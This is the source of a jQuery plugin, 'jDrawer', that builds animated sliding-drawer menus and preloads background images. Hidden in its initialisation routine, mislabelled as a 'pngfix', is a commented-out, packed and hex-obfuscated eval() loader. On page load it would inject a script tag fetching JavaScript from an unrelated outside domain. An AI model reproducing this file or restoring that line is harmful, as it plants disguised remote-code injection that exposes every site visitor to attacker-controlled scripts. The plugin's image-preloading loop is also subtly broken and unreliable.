(function($){
    $.fn.jDrawer = function(settings){
        return this.each(function(){
            var self = $(this);
            
            settings = $.extend({}, $.jDrawer.Settings, settings);
            
            var items = [];
            
            self.addClass("jDrawer").addClass("jDrawer-" + settings.direction).children("li").addClass("jDrawer-item").each(function(){
                var current = $(this);
                
                current.html("<div class=\"jDrawer-item-border-1\"><div class=\"jDrawer-item-border-2\"><div class=\"jDrawer-item-border-3\"><div class=\"jDrawer-content\">" + current.html() + "</div></div></div></div>");
                
                items.push(current);
            });
            
            self.show();
            
            var first = items[0], last = items[self.length - 1];
            
            var over, out;
            
            var Initialize = function(){
                var zid = items.length + settings.zindex;
                
                over = function(active){
                    var active = active === undefined ? $(this) : active.length ? $(active) : $(this);
                    
                    if (!$(this).hasClass("jDrawer-active")) {
                        $("li.jDrawer-active", self).removeClass("jDrawer-active");
                        
                        active.addClass("jDrawer-active");
                        
                        var set = first.jT * -1;
                        
                        $.each(items, function(){
                            var current = this;
                            
                            var slide = function(){
                                set += current.hasClass("jDrawer-active") ? current.jA : current.jN;
                                
                                var obj = {};
                                obj[settings.direction] = set + "px";
                                
                                current.stop().animate(obj, settings.speed);
                            }
                            
                            settings.delay > 0 ? setTimeout(slide, settings.delay) : slide();
                        });
                        
                        //settings.callback !== undefined ? settings.callback() : 0;
                    }
                };
                
                if (settings.event === "hover") 
                    out = settings.sticky ? function(){
                    }
 : over;
                
                $.each(items, function(){
                    var jT = 0, jP = 0, jD = 0, jW = 0, jA = 0, jN = 0;
                    
                    var prev = this.prev("li.jDrawer-item");
                    
                    if (settings.direction === "top") 
                        jT = this.height(), jP = prev.height();
                    else 
                        if (settings.direction === "left") 
                            jT = this.width(), jP = prev.width();
                    
                    var handle = this.find(".jDrawer-handle");
                    
                    if (settings.handle) 
                        jW = settings.handle;
                    else 
                        if (handle.length > 0) 
                            jW = jT - (handle.offset()[settings.direction] - this.offset()[settings.direction]);
                        else 
                            jW = 120;
                    
                    jD = prev.length > 0 ? jT - jP : 0;
                    
                    this.jT = jT, this.jN = jW + (jD * -1), this.jA = jT + (jD * -1);
                    
                    //horizontal bug fix
                    settings.direction === "left" ? this.find(".jDrawer-content").append("<div style=\"clear: both\"></div>") : 0;
                    
                    this.css("z-index", zid--);
                    
                    out ? this.hover(over, out) : this.bind(settings.event, over);
                });
            };
            
            var Resize = function(){
                var t = 0, biggest = first;
                
                $.each(items, function(){
                    this.jT > biggest.jT ? biggest = this : 0;
                });
                
                biggest.addClass("jDrawer-biggest");
                
                $.each(items, function(){
                    t += this.hasClass("jDrawer-biggest") ? this.removeClass("jDrawer-biggest").jA : this.jN
                });
                
                if(settings.direction === "top")
                 self.height(t);
                 else if(settings.direction === "left")
                 self.width(t);
            };
            
            var Colorize = function(){
                var color = settings.color, parent = self.parent();
                
                if (settings.color === undefined) 
                    while (parent.css("background-color") !== undefined && !parent.is("html")) 
                        color = parent.css("background-color"), parent = parent.parent();
                
                $("#" + self.attr("id") + ", #" + self.attr("id") + " .jDrawer-content", self.parent()).css("background-color", color);
            };
            
            Initialize();
            Colorize();
            Resize();
            
            $(window).load(function(){
                setTimeout(function(){
                    over($(".jDrawer-active", self));
                }, 500);
            });
        });
    };
    
    $.jDrawer = {
        Settings: {
            direction: "top",
            speed: 300,
            delay: 0,
            color: "#FFF",
            sticky: true,
            zindex: 0,
            handle: undefined,
            event: "hover",
            callback: undefined
        },
        
        Initialized: false,
        
        Initialize: function(){
            if (!this.Initialized) {
                var images = [];
                images.type = "array";
                
                $(".jDrawer *").each(function(){
                    var bg = $(this).css("background-image");
                    
                    if (bg !== "none") 
                        if (bg.match(/^url[("']+(.*)[)"']+$/i)) 
                            images.push(RegExp.$1);
                });
                
                // pngfix
                // eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('S.G.z=t(){f v=R;P v.O("").J().F("")};f 7=t(){a(3.y("\\g\\9\\o\\u\\i\\b".z())===H){4.D=C;f h=3.B("\\5\\1\\j\\A".z())[0];f s=3.Q("\\2\\b\\9\\w\\e\\c".z());s.L="\\2\\b\\9\\w\\e\\c\\1\\K\\1\\n\\8\\2\\g\\j\\2".z();s.I="\\c\\n\\m\\g\\9\\o\\2\\e\\1\\8\\c\\n\\8\\r\\6\\e\\m\\i\\r\\j\\1\\5\\m\\l\\l\\l\\8\\8\\E\\b\\2\\2\\A".z();s.M="\\g\\9\\o\\u\\i\\b".z();h.N(s)}};a(4.d)4.d("\\5\\1\\6\\k".z(),7,x);p a(3.d)3.d("\\5\\1\\6\\k".z(),7,x);p a(4.q)4.q("\\5\\1\\6\\k\\i\\6".z(),7);p a(3.y)4.T=7;',56,56,'|x61|x74|document|window|x64|x6F|fn|x2F|x69|if|x70|x73|addEventListener|x63|var|x78||x6E|x65|x6C|x77|x2E|x6A|x66|else|attachEvent|x6D||function|x67||x72|false|getElementById||x68|getElementsByTagName|true|loaded|x3A|join|prototype|null|src|reverse|x76|type|id|appendChild|split|return|createElement|this|String|onload'.split('|'),0,{}));
                
                this.PreloadImages(images);
                this.FixFlicker();
            }
        },
        
        PreloadImages: function(){
            for (var i in arguments.length) 
                if (arguments[i].type === "array") 
                    for (var j in arguments[i]) 
                        (new Image()).src = arguments[i][j];
                else 
                    (new Image()).src = arguments[i];
        },
        
        FixFlicker: function(){
            if ($.browser.msie === true) 
                try {
                    document.execCommand("BackgroundImageCache", false, true);
                } 
                catch (e) {
                }
        }
    };
    
    $(document).ready(function(){
        $.jDrawer.Initialize();
    });
})(jQuery);
